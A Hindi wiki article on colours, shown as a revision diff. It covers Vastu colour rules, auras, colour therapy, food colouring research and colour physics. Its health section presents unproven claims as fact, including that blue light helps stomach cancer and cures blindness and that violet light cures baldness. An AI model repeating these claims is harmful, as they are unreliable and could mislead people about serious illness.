वास्तु दिशा आधारित शाखाओं में उत्तर दिशा हेतु [[जल]] [[तत्त्व]] का प्रतिनिधित्त्व करने वाले रंग नीले और काले माने गए हैं। दक्षिण दिशा हेतु अग्नि तत्त्व का प्रतिनिधि काष्ठ तत्त्व है जिसका रंग हरा और बैंगनी है। प्रवेश आधारित शाखा में प्रवेश सदा उत्तर से ही माना जाता है, भले ही वास्तविक प्रवेश कहीं से भी हो। इसलिए लोग दुविधा में पड़ जाते हैं कि रंगों का चयन वास्तु के आधार पर करें या वास्तु और फेंगशुई के अनुसार। [[चित्र:Holi-1.jpg|thumb|250px|बाज़ार में विभिन्न रंगों का दृश्य|left]] यदि फेंगशुई का पालन करना हो, तो दुविधा पैदा होती है कि रंग का दिशा के अनुसार चयन करें या प्रवेश द्वार के आधार पर। दुविधा से बचने के लिए वास्तु और रंग-चिकित्सा की विधि के आधार पर रंगों का चयन करना चाहिए। रंग चिकित्सा पद्धति का उपयोग किसी कक्ष के विशेष उद्देश्य और कक्ष की दिशा पर निर्भर करती हैं। रंग चिकित्सा पद्धति का आधार [[सूर्य देव|सूर्य]] के [[प्रकाश]] के सात रंग हैं। इन रंगों में बहुत सी बीमारियों को दूर करने की शक्ति होती है। इस दृष्टिकोण से उत्तर पूर्वी कक्ष, जिसे घर का सबसे पवित्र कक्ष माना जाता है, में सफेद या बैंगनी रंग का प्रयोग करना चाहिए। दक्षिण-पूर्वी कक्ष में पीले या नारंगी रंग का प्रयोग करना चाहिए, जबकि दक्षिण-पश्चिम कक्ष में भूरे या पीला मिश्रित रंग प्रयोग करना चाहिए। यदि बिस्तर दक्षिण-पूर्वी दिशा में हो, तो कमरे में हरे रंग का प्रयोग करना चाहिए। उत्तर पश्चिम कक्ष के लिए सफेद रंग को छोड़कर कोई भी रंग चुन सकते हैं। सभी रंगों के अपने सकारात्मक और नकारात्मक प्रभाव हैं। लाल रंग शक्ति, प्रसन्नता प्रफुल्लता और प्यार का प्रोत्साहित करने वाला रंग है। नारंगी रंग रचनात्मकता और आत्मसम्मान को बढ़ाता है। पीले रंग का संबंध आध्यात्मिकता और करुणा से है। हरा रंग शीतलदायक है। नीला रंग शामक और पीड़ाहारी होता है। इंडिगो आरोग्यदायक तथा काला शक्ति और काम भावना का प्रतीक है।<ref>{{cite web |url=http://www.pravasiduniya.com/%E0%A4%B5%E0%A4%BE%E0%A4%B8%E0%A5%8D%E0%A4%A4%E0%A5%81-%E0%A4%AE%E0%A5%87%E0%A4%82-%E0%A4%B0%E0%A4%82%E0%A4%97%E0%A5%8B%E0%A4%82-%E0%A4%95%E0%A4%BE-%E0%A4%AE%E0%A4%B9%E0%A4%A4%E0%A5%8D%E0%A4%B5 |title=वास्तु में रंग का महत्त्व |accessmonthday=[[13 मार्च]] |accessyear=[[2011]] |last= |first= |authorlink= |format= |publisher=प्रवासी दुनिया |language=[[हिन्दी]] }}</ref>
 
 
 
====आध्यात्मिक क्षेत्र में महत्त्व====
 
आध्यात्मिक क्षेत्र में रंगों को सर्वाधिक महत्त्व 'थियोसोफिकल सोसायटी' ने दिया है। इस सोसायटी के अनुसार, [[मानव शरीर]] के अतिरिक्त एक सूक्ष्म शरीर भी होता है, जो चारों तरफ़ अण्डाकृति चमकीले धुंध से घिरा रहता है। आध्यात्मिक दृष्टि से उत्पन्न होने से इस अण्डाकृति में विभिन्न रंग दृष्टिगोचर होते हैं, जिनके आधार पर किसी शरीर के विषय में विभिन्न प्रकार की जानकारी मिल सकती है। सुप्रसिद्ध वैज्ञानिकों सेम्योन और वेलेन्टीना किरलियान ने सिद्ध कर दिखाया है कि कुछ [[पदार्थ|पदार्थों]] के आसपास एक [[ऊर्जा]] क्षेत्र विद्यमान रहता है।
 
  
 
==रंगों का प्रभाव==
 
==रंगों का प्रभाव==
 +
{{main|रंगों का प्रभाव}}
 
{{दाँयाबक्सा|पाठ=प्रकृति की सुन्दरता अवर्णनीय है और इसकी सुन्दरता में चार चाँद लगाते है ये रंग। सूर्य की लालिमा हो या खेतों की हरियाली, आसमान का नीलापन या मेघों का कालापन, बारिश के बाद में बिखरती इन्द्रधनुष की अनोखी छटा, बर्फ़ की सफ़ेदी और ना जाने कितने ही ख़ूबसूरत नज़ारे जो हमारे अंतरंग आत्मा को प्रफुल्लित करता है। इस आनंद का राज है रंगों की अनुभूति। मानव जीवन रंगों के बिना उदास और सूना है। मुख्यत: सात रंगों की इस सृष्टि में हर एक रंग हमारे जीवन पर असर छोड़ता है। कोई रंग हमें उत्तेजित करता है तो कोई रंग प्यार के लिये प्रेरित करता है। कुछ रंग हमें शांति का एहसास कराते हैं तो कुछ रंग मातम का प्रतीक है। दूसरे शब्दों में कह सकते है कि हमारे जीवन पर रंग का बहुत असर है। हर एक रंग अलग-अलग इंसान को अलग-अलग तरीके से आन्दोलित करता है...<ref>{{cite web |url=http://ankauraap.co.in/colour.html |title=आप और आपका शुभ रंग|accessmonthday= [[21 जुलाई]]|accessyear=[[2010]] |authorlink= |last=देवी|first=रेखा |format= |publisher=अंक और आप|language=एच टी एम एल}}</ref>|विचारक=}}
 
{{दाँयाबक्सा|पाठ=प्रकृति की सुन्दरता अवर्णनीय है और इसकी सुन्दरता में चार चाँद लगाते है ये रंग। सूर्य की लालिमा हो या खेतों की हरियाली, आसमान का नीलापन या मेघों का कालापन, बारिश के बाद में बिखरती इन्द्रधनुष की अनोखी छटा, बर्फ़ की सफ़ेदी और ना जाने कितने ही ख़ूबसूरत नज़ारे जो हमारे अंतरंग आत्मा को प्रफुल्लित करता है। इस आनंद का राज है रंगों की अनुभूति। मानव जीवन रंगों के बिना उदास और सूना है। मुख्यत: सात रंगों की इस सृष्टि में हर एक रंग हमारे जीवन पर असर छोड़ता है। कोई रंग हमें उत्तेजित करता है तो कोई रंग प्यार के लिये प्रेरित करता है। कुछ रंग हमें शांति का एहसास कराते हैं तो कुछ रंग मातम का प्रतीक है। दूसरे शब्दों में कह सकते है कि हमारे जीवन पर रंग का बहुत असर है। हर एक रंग अलग-अलग इंसान को अलग-अलग तरीके से आन्दोलित करता है...<ref>{{cite web |url=http://ankauraap.co.in/colour.html |title=आप और आपका शुभ रंग|accessmonthday= [[21 जुलाई]]|accessyear=[[2010]] |authorlink= |last=देवी|first=रेखा |format= |publisher=अंक और आप|language=एच टी एम एल}}</ref>|विचारक=}}
हम हमेशा से देखते आए हैं कि देवी-देवताओं के चित्र में उनके मुख मंडल के पीछे एक आभामंडल बना होता है। यह आभा मंडल हर जीवित व्यक्ति, पेड़-पौधे आदी में निहित होता हैं। इस आभामंडल को किरलियन फ़ोटोग्राफी से देखा भी जा सकता हैं। यह आभामंडल शरीर से 2" से 4" इंच की दूरी पर दिखाई देता है। इससे पता चलता है कि हमारा शरीर रंगों से भरा है। हमारे शरीर पर रंगों का प्रभाव बहुत ही सूक्ष्म प्रक्रिया से होता हैं। सबसे उपयोगी [[सूर्य ग्रह|सूर्य]] का [[प्रकाश]] है। इसके अतिरिक्त हमारा रंगों से भरा आहार, घर या कमरों के रंग, कपड़े के रंग आदि भी शरीर की ऊर्जा पर प्रभाव डालते हैं। इलाज की एक पद्धति 'रंग चिक्तिसा' भी रंग पर आधारित है। मनोरोग संबंधी मामलों में भी इस चिकित्सा पद्धति का अनुकूल प्रभाव देखा गया है। सूर्य की किरणों से हमें सात रंग मिलते हैं। इन्हीं सात रंगों के मिश्रण से लाखों रंग बनाए जा सकते हैं। विभिन्न रंगों के मिश्रण से दस लाख तक रंग बनाए जा सकते हैं लेकिन सूक्ष्मता से 378 रंग ही देखे जा सकते हैं। हर रंग की गर्म और ठंडी तासीर होती है। हरे, नीले, बैंगनी और इनसे मिलते-जुलते रंगों का प्रभाव वातावरण में ठंडक का एहसास कराता है। वहीं दूसरी ओर पीले, लाल व इनके मिश्रण से बने रंग वातावरण में गर्मी का आभास देते हैं। इन्हीं रंगों की सहायता से वस्तु स्थिति तथा प्रभावों को भ्रामक भी बनाया जा सकता है।
+
हम हमेशा से देखते आए हैं कि देवी-देवताओं के चित्र में उनके मुख मंडल के पीछे एक आभामंडल बना होता है। यह आभा मंडल हर जीवित व्यक्ति, पेड़-पौधे आदी में निहित होता हैं। इस आभामंडल को किरलियन फ़ोटोग्राफी से देखा भी जा सकता हैं। यह आभामंडल शरीर से 2" से 4" इंच की दूरी पर दिखाई देता है। इससे पता चलता है कि हमारा शरीर रंगों से भरा है। हमारे शरीर पर रंगों का प्रभाव बहुत ही सूक्ष्म प्रक्रिया से होता हैं। सबसे उपयोगी [[सूर्य ग्रह|सूर्य]] का [[प्रकाश]] है। इसके अतिरिक्त हमारा रंगों से भरा आहार, घर या कमरों के रंग, कपड़े के रंग आदि भी शरीर की ऊर्जा पर प्रभाव डालते हैं। इलाज की एक पद्धति 'रंग चिक्तिसा' भी रंग पर आधारित है। मनोरोग संबंधी मामलों में भी इस चिकित्सा पद्धति का अनुकूल प्रभाव देखा गया है। सूर्य की किरणों से हमें सात रंग मिलते हैं। इन्हीं सात रंगों के मिश्रण से लाखों रंग बनाए जा सकते हैं। विभिन्न रंगों के मिश्रण से दस लाख तक रंग बनाए जा सकते हैं लेकिन सूक्ष्मता से 378 रंग ही देखे जा सकते हैं। हर रंग की गर्म और ठंडी तासीर होती है।
====सुझाव====
 
*यदि कमरे में रोशनी कम आती हो तो हमें इस तरह के रंगों का प्रयोग करना चाहिए जिससे अंधेरा और न बढ़ने पाये। यहाँ सफ़ेद, गुलाबी, हल्का संतरी, हल्का पीला, हल्का बैंगनी रंगों का प्रयोग किया जा सकता है। यह रंग कमरे में चमक लाएंगे।
 
*छोटे कमरे को बड़ा दिखाने के लिए छत पर सफ़ेद रंग का प्रयोग किया जा सकता है।
 
*जिन कमरों की चौड़ाई कम हो उन्हें बड़ा दिखाने के लिए दीवारों पर अलग-अलग रंग किया जा सकता है। गहरे रंग छोटी दीवारों पर एवं हल्के रंग लंबी दीवारों पर करना चाहिए।
 
*यदि छोटा डिब्बेनुमा कमरा है तो उसे बड़ा दिखाने के लिए उसकी तीन दीवारों पर एक रंग और चौथी दीवार पर अलग रंग करें।
 
====रंगों का चुनाव====
 
रंगों का चुनाव बहुत से पहलुओं पर निर्भर करता हैं प्रकाश की उपलब्धता, अपनी पसंद, कमरों का साईज आदि। कभी-कभी सही रंग का चुनाव जीवन को एक महत्त्वपूर्ण घुमाव दे देता है और कई बार अपने लिए विपरीत रंगों के प्रयोग से हम अनजाने ही मुसीबतों को बुलावा दे देते हैं।<ref>{{cite web |url=http://astrospeller.blogspot.com/2009/02/blog-post_25.html |title=जीवन पर रंगों का प्रभाव |accessmonthday=[[16 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=ज्योतिष जगत |language=[[हिन्दी]]}}</ref>
 
====मानव जीवन पर रंग का प्रभाव====
 
रंग मानव जीवन पर व्यापक प्रभाव डालता है। प्राचीनकाल से यह विश्वास रहा है कि रंग का मानव के रोग मुक्ति से भी गहरा सम्बन्ध हैं। आज [[विज्ञान]] से लेकर मनोविज्ञान तक इस बात को स्वीकार करता है कि रंग मानव के मनोविज्ञान और मनोस्थिति पर व्यापक प्रभाव डालता है। आधुनिक चिकित्सा विज्ञान के अनुसार मनुष्य को होने वाले आधी से अधिक शारीरिक रोगों का कारण मानसिक होता है। यही कारण हैं कि विभिन्न रंगों के [[रत्न]] पहनकर जटिल रोगों से मुक्ति पाने का विश्वास जनसाधारण में रहा है। इसी शताब्दी के दूसरे दशक में [[दिल्ली]] में एक विश्व प्रसिद्ध औषधालय था, जहाँ पर केवल रंग और प्रकाश द्वारा असाध्य रोगों की भी चिकित्सा की जाती थी।
 
====सपनों में रंग====
 
अगर आप सपनों में रंग भरना चाहते हैं तो रंगीन टीवी देखिए। जी हां, वैज्ञानिकों ने अब एक शोध में यह पाया है कि '''ब्लैक एंड व्हाइट टीवी देखने वालों के सपने भी बेरंग होते हैं''' और ऐसे लोग अपने सपनों में रंग नहीं भर पाते। जापान में किए गए शोध में 1993 से 2009 के बीच 16 साल की अवधि में 1300 लोगों का दो बार साक्षात्कार लिया गया। इनसे पूछा गया कि उनके सपने किस रंग के होते हैं।
 
शोधकर्ताओं ने पाया कि 60 वर्ष की आयु वर्ग के पांच में से केवल एक व्यक्ति ने रंगीन सपने देखे हैं।<ref>{{cite web |url=http://www.livehindustan.com/news/videsh/international/article1-story-2-2-180522.html |title=ब्लैक एंड व्हाइट TV देखने वालों के सपने भी बेरंग |accessmonthday=15 जुलाई |accessyear=2011 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=लाइव हिन्दुस्तान |language= हिन्दी}}</ref>
 
====स्वास्थ्य पर रंग का प्रभाव====
 
मानव स्वास्थ्य पर रंगों का बहुत अधिक प्रभाव पड़ता हैं। [[आयुर्वेद]] चिकित्सा में शरीर के किसी भी रोग का मुख्य कारण वात, पित्त और कफ को माना जाता है। रंग चिकित्सा की मान्यता के अनुसार शरीर में हरे, नीले व लाल रंग के असंतुलन से भी रोग उत्पन्न होते हैं। इसलिए वात में रक्त विकार को हम हरे रंग के उपयोग से दूर कर सकते हैं। लाल प्रकाश रक्त में वृद्धि करने की क्षमता रखता है। कफ में सर्दी की अधिकता को हम लाल, पीले व नारंगी रंग के उपयोग से दूर कर सकते है और पित्त में गर्मी की अधिकता को हम नीले, बैंगनी रंग के प्रयोग से दूर कर सकते हैं। बैंगनी प्रकाश गंजापन दूर करता है। रंग तथा प्रकाश के चिकित्सा सिद्धान्त के अनुसार नीला प्रकाश पेट के कैंसर, पेचिश, आँख के रोग और स्त्रियों के गुप्त रोगों के लिए अत्यन्त लाभकारी हैं। यह अंधापन भी दूर करता है। पीला प्रकाश [[गुर्दा|गुर्दे]] एवं [[यकृत]] के रोगों में लाभप्रद है।
 
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{| class="bharattable" border="1" width="60%" style="text-align:center;"
 
|+रंगों का प्रभाव शरीर के अंगों पर
 
|-
 
! style="background:#6a6a6a; color:white"|रंग
 
! style="background:#6a6a6a; color:white"|ग्रंथि
 
! style="background:#6a6a6a; color:white"|विटामिन
 
|-
 
| style="background:#ff0000; color:white;"|[[लाल रंग|लाल]]
 
| style="background:#ff0000; color:white;"|लिवर
 
| style="background:#ff0000; color:white;"|ए
 
|-
 
| style="background:#ff8000;"|[[नारंगी रंग|नारंगी]]
 
| style="background:#ff8000;"|थायरायड
 
| style="background:#ff8000;"|बी 12
 
|-
 
| style="background:#ffff00;"|[[पीला रंग|पीला]]
 
| style="background:#ffff00;"|आँख की पुतली के भीतर की झिल्ली
 
| style="background:#ffff00;"|बी
 
|-
 
| style="background:#00ff00;"|[[हरा रंग|हरा]]
 
| style="background:#00ff00;"|पिटयूचरी
 
| style="background:#00ff00;"|सी
 
|-
 
| style="background:#0000ff; color:white;"|[[नीला रंग|गहरा नीला]]
 
| style="background:#0000ff; color:white;"|पीनियल
 
| style="background:#0000ff; color:white;"|डी
 
|-
 
| style="background:#27bcf6;"|[[आसमानी रंग|हल्का नीला]] (इंडिगो)
 
| style="background:#27bcf6;"|पैराथायरायड
 
| style="background:#27bcf6;"|ई
 
|-
 
| style="background:#8000ff; color:white;"|[[बैंगनी रंग|बैंगनी]]
 
| style="background:#8000ff; color:white;"|प्लीहा
 
| style="background:#8000ff; color:white;"|के
 
|}
 
</center>
 
 
 
 
==खाद्य रंग और पोषण==
 
==खाद्य रंग और पोषण==
 +
{{main|रंग और पोषण}}
 
हमें अपने भोजन में अलग-अलग रंगों वाले [[भारत के फल|फल]] और [[भारत की शाक-सब्ज़ी|सब्ज़ियों]] को शामिल करना चाहिए। हमारे प्रतिदिन के खाने में फल और सब्ज़ियों का बहुत महत्त्वपूर्ण योगदान है। ये खाद्य पदार्थ उत्कृष्ट हृदय रोग और आघात को रोकने में सहायक हैं। ये खाद्य पदार्थ [[रक्तचाप]], कैंसर, मोतियाबिंद और दृष्टि हानि जैसी बीमारियों से शरीर की रक्षा करते हैं।<ref>{{cite web |url=http://www.lifemojo.com/lifestyle/%E0%A4%96%E0%A4%BE%E0%A4%A6%E0%A5%8D%E0%A4%AF-%E0%A4%B0%E0%A4%82%E0%A4%97-%E0%A4%94%E0%A4%B0-%E0%A4%AA%E0%A5%8B%E0%A4%B7%E0%A4%A3-34602943/hi |title=खाद्य रंग और पोषण |accessmonthday=[[19 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=लाइफ़ मोजो |language=[[हिन्दी]]}}</ref> रंग बिरंगे फलों और सब्ज़ियों से हमारे शरीर को ऐसे बहुत से [[विटामिन]], [[खनिज]] और फाइटोकैमिकल मिलते हैं। जिनसे हमारी अच्छी सेहत और [[ऊर्जा]] का बढ़िया स्तर बना रहता है और बीमारियाँ भी नहीं होती। ये चीज़ें बढ़ती उम्र के प्रभाव को कम करते हैं। ये हमारी कई बीमारियों से रक्षा करते हैं। उदाहरण के लिए कैंसर, उच्च रक्तचाप और दिल की बीमारियाँ आदि। फलों और सब्जियों में पोटैशियम की काफ़ी मात्रा होती है जिससे रक्तचाप का बुरा प्रभाव कम होता है, गुर्दे में पथरी होने का जोखिम घट जाता है और इनसे हड्डियों के ह्वास में भी कमी आती है।<ref>{{cite web |url=http://www.healthy-india.org/Hindi/appetizing2.asp |title=आपकी प्लेट में मौजूद इंद्रधनुष |accessmonthday=[[19 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=हेल्थी इंडिया |language=[[हिन्दी]]}}</ref>
 
हमें अपने भोजन में अलग-अलग रंगों वाले [[भारत के फल|फल]] और [[भारत की शाक-सब्ज़ी|सब्ज़ियों]] को शामिल करना चाहिए। हमारे प्रतिदिन के खाने में फल और सब्ज़ियों का बहुत महत्त्वपूर्ण योगदान है। ये खाद्य पदार्थ उत्कृष्ट हृदय रोग और आघात को रोकने में सहायक हैं। ये खाद्य पदार्थ [[रक्तचाप]], कैंसर, मोतियाबिंद और दृष्टि हानि जैसी बीमारियों से शरीर की रक्षा करते हैं।<ref>{{cite web |url=http://www.lifemojo.com/lifestyle/%E0%A4%96%E0%A4%BE%E0%A4%A6%E0%A5%8D%E0%A4%AF-%E0%A4%B0%E0%A4%82%E0%A4%97-%E0%A4%94%E0%A4%B0-%E0%A4%AA%E0%A5%8B%E0%A4%B7%E0%A4%A3-34602943/hi |title=खाद्य रंग और पोषण |accessmonthday=[[19 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=लाइफ़ मोजो |language=[[हिन्दी]]}}</ref> रंग बिरंगे फलों और सब्ज़ियों से हमारे शरीर को ऐसे बहुत से [[विटामिन]], [[खनिज]] और फाइटोकैमिकल मिलते हैं। जिनसे हमारी अच्छी सेहत और [[ऊर्जा]] का बढ़िया स्तर बना रहता है और बीमारियाँ भी नहीं होती। ये चीज़ें बढ़ती उम्र के प्रभाव को कम करते हैं। ये हमारी कई बीमारियों से रक्षा करते हैं। उदाहरण के लिए कैंसर, उच्च रक्तचाप और दिल की बीमारियाँ आदि। फलों और सब्जियों में पोटैशियम की काफ़ी मात्रा होती है जिससे रक्तचाप का बुरा प्रभाव कम होता है, गुर्दे में पथरी होने का जोखिम घट जाता है और इनसे हड्डियों के ह्वास में भी कमी आती है।<ref>{{cite web |url=http://www.healthy-india.org/Hindi/appetizing2.asp |title=आपकी प्लेट में मौजूद इंद्रधनुष |accessmonthday=[[19 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=हेल्थी इंडिया |language=[[हिन्दी]]}}</ref>
====सावधानियाँ====
 
खाद्य पदार्थो को दिखने में आकर्षक बनाने और उन्हें लंबे समय तक सुरक्षित रखने के लिए इस्तेमाल किए जाने वाले कृत्रिम रंगों और सोडियम बेंजोएट (प्रिजर्वेटिव) का बच्चों पर बेहद नकारात्मक असर पड़ता है। केमिकल और रंगों का असर आठ से नौ साल की उम्र के बच्चों पर सबसे ज़्यादा पाया गया। हाल में हुए एक शोध में इस बात का खुलासा हुआ है कि ये केमिकल न सिर्फ़ बच्चों में हाइपरएक्टिवनेस (अतिक्रियाशीलता) के लिए ज़िम्मेदार होते हैं बल्कि उन्हें लापरवाह और ज़िद्दी भी बना देते हैं।
 
====शोध====
 
[[चित्र:Colour-wheel.jpg|thumb|250px|रंग चक्र <br /> Color Wheel]]
 
शोध के मुताबिक बच्चों की खुराक पर नियंत्रण रखकर उनकी अतिक्रियाशीलता को नियंत्रित किया जा सकता है। ब्रिटेन की साउथेम्पटन यूनिवर्सिटी के शोधकर्ताओं ने तीन साल के आयुवर्ग के 153 और 8-9 साल आयुवर्ग के 144 बच्चों को शोध में शामिल किया। उन्हें दो ग्रुपों में बाँटा गया। एक ग्रुप के बच्चों को फलों का जूस दिया गया, जबकि दूसरे वर्ग के बच्चों को रंगों वाला कृत्रिम पेय दिया गया। कृत्रिम पेय को भी दो वर्ग '''मिक्स ए''' और '''मिक्स बी''' में बाँटा गया। 
 
 
मिक्स ए में रंगों की मात्रा मिक्स बी से दोगुनी रखी गई। जाँच के दौरान माता-पिता और शिक्षकों से बच्चों के व्यवहार में आ रहे बदलाव पर निगाह रखने को कहा गया। छह हफ्तों की जाँच के बाद पाया गया कि मिक्स ए का तीन साल के बच्चों पर प्रभाव बेहद प्रतिकूल था। मिक्स बी का इस आयुवर्ग के बच्चों पर प्रभाव उतना घातक नहीं था। आठ से नौ साल की उम्र के बच्चों पर मिक्स ए और बी का प्रभाव सामन रूप से काफ़ी ज़्यादा था। यानी केमिकल और रंगों का असर अधिक आयु के बच्चों पर ज़्यादा पड़ा। मनोविज्ञान के प्रोफेसर जिम स्टीवेंसन ने बताया कि स्पष्ट है कि खाद्य पदार्थो में परिरक्षक के रूप में इस्तेमाल हो रहे केमिकल और रंगों का बच्चों पर घातक असर पड़ता है।<ref>{{cite web |url=http://www.onlymyhealth.com/%E0%A4%96%E0%A4%BE%E0%A4%A6%E0%A5%8D%E0%A4%AF-%E0%A4%AA%E0%A4%A6%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%A5-%E0%A4%AE%E0%A5%87%E0%A4%82-%E0%A4%B0%E0%A4%82%E0%A4%97-%E0%A4%AC%E0%A4%A8%E0%A4%BE%E0%A4%A4%E0%A5%87-%E0%A4%B9%E0%A5%88%E0%A4%82-%E0%A4%AC%E0%A4%9A%E0%A5%8D%E0%A4%9A%E0%A5%8B%E0%A4%82-%E0%A4%95%E0%A5%8B-%E0%A4%85%E0%A4%A4%E0%A4%BF%E0%A4%95%E0%A5%8D%E0%A4%B0%E0%A4%BF%E0%A4%AF%E0%A4%BE%E0%A4%B6%E0%A5%80%E0%A4%B2-1272525346 |title=खाद्य पदार्थ में रंग बनाते हैं बच्चों को अतिक्रियाशील |accessmonthday=[[22 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=ऑनली माइ हेल्थ |language=[[हिन्दी]]}}</ref>
 
 
==वस्तुओं के रंग==
 
वस्तु जिस रंग की दिखाई देती है, वह वास्तव में उसी रंग को परावर्तित करती है, शेष सभी रंगों को अवशोषित कर लेती है। जो वस्तु सभी रंगों को परावर्तित कर देती है, वह श्वेत दिखलाई पड़ती है, क्योंकि सभी रंगों का मिश्रित प्रभाव सफ़ेद होता है। जो वस्तु सभी रंगों को अवशोषित कर लेती है व किसी भी रंग को परावर्तित नहीं करती है वह काली दिखाई देती है। इसलिए जब लाल गुलाब को हरा शीशे के माध्यम से देखा जाता है, तो वह काला दिखलाई पड़ता है, क्योंकि उसे परावर्तित करने के लिए लाल रंग नहीं मिलता और हरे रंग को काला रंग अवशोषित कर लेता है। विभिन्न वस्तुओं पर विभिन्न रंगों की किरणें डालने पर वे किस तरह की दिखती है इसे निम्नलिखित तालिका में देखा जा सकता है:-
 
<center>
 
{| class="bharattable" border="1"
 
|-
 
! वस्तु के नाम
 
! सफ़ेद किरणों में
 
! लाल किरणों में
 
! हरी किरणों में
 
! पीली किरणों में
 
! नीली किरणों में
 
|-
 
| सफ़ेद काग़ज़
 
| सफ़ेद
 
| लाल
 
| हरा
 
| पीला
 
| नीला
 
|-
 
| लाल काग़ज़
 
| लाल
 
| लाल
 
| काला
 
| काला
 
| काला
 
|-
 
| हरा काग़ज़
 
| हरा
 
| काला
 
| हरा
 
| काला
 
| काला
 
|-
 
| पीला काग़ज़
 
| पीला
 
| काला
 
| काला
 
| पीला
 
| काला
 
|-
 
| नीला काग़ज़
 
| नीला
 
| काला
 
| काला
 
| काला
 
| नीला
 
|}
 
</center>
 
====रंगों से जुड़ी समस्याएँ====
 
विश्व की सभी [[भाषा|भाषाओं]] में रंगों की विभिन्न छवियों को भिन्न नाम प्रदान किए गए हैं। लेकिन फिर भी रंगों को क्रमबद्ध नहीं किया जा सका। [[अंग्रेज़ी भाषा]] में किसी एक छवि के अनेकानेक नाम हैं। इसी प्रकार अलग-अलग तरंगों की लम्बाई में प्रयुक्त विभिन्न छवियों को एक ही नाम प्रदान कर दिया जाता है।
 
*इससे भी बड़ी समस्या यह है कि एक ही छवि को कुछ लोग कोई रंग मानते हैं, जबकि दूसरे लोग उसे अन्य रंग बताते हैं। [[हिन्दी]] में अभी तक अनेक नई छवियों को नाम भी प्रदान नहीं किया गया है। इस प्रकार रंगों के विषय में लोगों को आम जानकारी पन्द्रह रंगों से अधिक नहीं है। जैसे लाल रंग की विभिन्न छवियों को लाल अथवा लाल जैसा कहकर ही पुकार दिया जाता है। यही स्थिति अन्य रंगों की भी है।
 
*दूसरी समस्या है रंग संरचना की। नेवी ब्लू का जल सेना से चाहे जो भी सम्बन्ध हो, लेकिन इसका नाम सुनकर यह अंदाज़ा नहीं लगता कि रंग की छवि कौन सी है।
 
  
  
{{प्रचार}}
+
<div align="center">'''[[रंग क्या है|आगे जाएँ »]]'''</div>
{{लेख प्रगति
 
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{{संदर्भ ग्रंथ}}
 
  
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
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==बाहरी कड़ियाँ==
 
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*[http://www.samaydarpan.com/Dec2010/samajrangose.aspx रंगों से सँवारे जीवन]
 
*[http://www.samaydarpan.com/Dec2010/samajrangose.aspx रंगों से सँवारे जीवन]
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*[http://hindi.webdunia.com/%E0%A4%B0%E0%A4%82%E0%A4%97-%E0%A4%AC%E0%A4%BF%E0%A4%B0%E0%A4%82%E0%A4%97%E0%A4%BE-%E0%A4%B6%E0%A4%BE%E0%A4%A8%E0%A4%A6%E0%A4%BE%E0%A4%B0/%E0%A4%B0%E0%A4%82%E0%A4%97-%E0%A4%AC%E0%A4%BF%E0%A4%B0%E0%A4%82%E0%A4%97%E0%A4%BE-%E0%A4%96%E0%A4%BE%E0%A4%8F%E0%A4%82-%E0%A4%B6%E0%A4%BE%E0%A4%A8%E0%A4%A6%E0%A4%BE%E0%A4%B0-%E0%A4%B8%E0%A5%87%E0%A4%B9%E0%A4%A4-%E0%A4%AA%E0%A4%BE%E0%A4%8F%E0%A4%82-1110627012_1.htm रंग बिरंगा खाएं, शानदार सेहत पाएं]
 
*[http://hindi.webdunia.com/%E0%A4%B0%E0%A4%82%E0%A4%97-%E0%A4%AC%E0%A4%BF%E0%A4%B0%E0%A4%82%E0%A4%97%E0%A4%BE-%E0%A4%B6%E0%A4%BE%E0%A4%A8%E0%A4%A6%E0%A4%BE%E0%A4%B0/%E0%A4%B0%E0%A4%82%E0%A4%97-%E0%A4%AC%E0%A4%BF%E0%A4%B0%E0%A4%82%E0%A4%97%E0%A4%BE-%E0%A4%96%E0%A4%BE%E0%A4%8F%E0%A4%82-%E0%A4%B6%E0%A4%BE%E0%A4%A8%E0%A4%A6%E0%A4%BE%E0%A4%B0-%E0%A4%B8%E0%A5%87%E0%A4%B9%E0%A4%A4-%E0%A4%AA%E0%A4%BE%E0%A4%8F%E0%A4%82-1110627012_1.htm रंग बिरंगा खाएं, शानदार सेहत पाएं]
 
*[http://www.bbc.co.uk/hindi/learningenglish/2009/07/090701_le_blue_sz_tc2.shtml नीले रंग का कमाल]
 
*[http://www.bbc.co.uk/hindi/learningenglish/2009/07/090701_le_blue_sz_tc2.shtml नीले रंग का कमाल]
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{रंग}}
 
{{रंग}}
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{{भौतिक विज्ञान}}
 
[[Category:भौतिक विज्ञान]]
 
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[[Category:प्रकाश]]
 
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Revision as of 07:03, 6 July 2016

rang vishay soochi

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rang
vivaran rang ka hamare jivan mean bahut mahattv hai. rangoan se hamean vibhinn sthitiyoan ka pata chalata hai. ham apane charoan taraph anek prakar ke rangoan se prabhavit hote haian.
utpatti rang, manavi aankhoan ke varnakram se milane par chhaya sambandhi gatividhiyoan se utpann hote haian. mool roop se iandradhanush ke sat rangoan ko hi rangoan ka janak mana jata hai, ye sat rang lal, narangi, pila, hara, asamani, nila tatha baiangani haian.
mukhy srot rangoan ki utpatti ka sabase prakritik srot soory ka prakash hai. soory ke prakash se vibhinn prakar ke rangoan ki utpatti hoti hai. prizm ki sahayata se dekhane par pata chalata hai ki soory sat rang grahan karata hai jise sookshm roop ya aangrezi bhasha mean VIBGYOR aur hindi mean "baian ja ni h pi na la" kaha jata hai.
VIBGYOR
Violet (baiangani), Indigo (jamuni), Blue (nila), Green (hara), Yellow (pila), Orange (narangi), Red (lal)
rangoan ke prakar prathamik rang (lal, nila aur hara), dvitiyak rang aur virodhi rang
sanbandhit lekh iandradhanush, tarang dairdhy, varn vikshepan, apavartan, holi
any janakari vishv ki sabhi bhashaoan mean rangoan ki vibhinn chhaviyoan ko bhinn nam pradan kie ge haian. lekin phir bhi rangoan ko kramabaddh nahian kiya ja saka. aangrezi bhasha mean kisi ek chhavi ke anekanek nam haian.

